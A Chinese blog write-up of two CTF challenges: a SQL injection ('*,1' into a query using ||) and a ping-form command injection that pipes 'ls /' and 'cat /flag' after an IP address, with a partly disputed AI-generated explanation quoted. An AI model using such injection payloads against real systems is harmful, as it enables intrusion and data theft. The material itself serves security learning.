[suctf 2019]EasySQL
老早就做过这题了,当初wp看的半知半解,现在是我想能算上是大彻大悟了吧
1
| select $_GET['query'] || flag from flag
|
|| 符是或的意思,应该就和注入中的 || , or 是一个用法
这里的||在mysql中表示或,如果前一个操作数为真,则不看后面的语句
网上最多的payload都是
那拼接进sql语句就是
1
| select *,1||flag from flag
|
查询全部,外加一个 select 1的效果
这样就看得出来了:
1
| select (*),(1||flag) from flag
|
为什么不能直接查询 * 呢?
deepseek:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 在后端的SQL语句SELECT $_GET['query'] || flag FROM flag中,||操作符的作用取决于数据库类型。在SQLite或PostgreSQL中,||表示字符串连接,而在MySQL中(除非启用特定模式)则代表逻辑或。以下是需要传*,1而非*的关键原因:
语法问题:
若直接传入*,查询会变为SELECT * || flag FROM flag。此时*(通配符)无法直接与其他字段(flag)进行字符串连接或逻辑运算,导致语法错误,查询无法执行。
传入*,1时,查询变为SELECT *,1 || flag FROM flag。这里,将*和1 || flag分为两个独立列,*单独选择所有字段,1 || flag则作为新列(如SQLite中会拼接1和flag的值)。语法正确,查询正常执行。
绕过字段限制:
若后端代码仅返回第一个字段的值,直接传*会因语法错误无结果。传*,1后,查询结果包含所有原始字段(通过*),可能使应用程序完整展示数据(如flag字段)。
数据库特性差异:
在SQLite中,1 || flag会生成新列(如1abc,假设flag值为abc)。即使应用程序仅显示部分结果,攻击者也可能通过新列间接获取flag值。
总结:*,1通过合法语法允许*单独生效,绕过因||导致的错误,最终泄露flag字段数据。直接传*则因语法问题失败。
|
应该就是语法问题,字段限制的话应该不是
看的wp:
https://blog.csdn.net/StevenOnesir/article/details/110203051
https://blog.csdn.net/xhy18634297976/article/details/122515412
以前看不明白现在看明白了,但以现在水平打比赛时遇到类似题目应该猜不出来后端语句
那是怎样猜出后端语句的呢:
1 2 3 4 5 6 7
| select command1 || command2
情况一:若command1为非0数字,则结果为1。
情况二:若command1为0或字母,command2为非0数字,则结果为1。
情况三:command1和command2都不为非0数字,则结果为0。
|
https://blog.csdn.net/2302_79800344/article/details/136268777
[ACTF2020 新生赛]Exec
根据题目猜测是命令执行类型,看到页面是一个ping的功能,尝试ping了一下我的网站:
www.gwwafz.online
回显:
1 2 3 4
| PING www.gwwafz.online (39.105.15.250): 56 data bytes
--- www.gwwafz.online ping statistics --- 3 packets transmitted, 0 packets received, 100% packet loss
|
故想起使用管道符来连接命令:
39.105.15.250|ls /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
|
直接回显了,那接下来就是cat /flag 就ok了:
flag{eba95874-05c1-46a8-8a2f-28eff48a72be}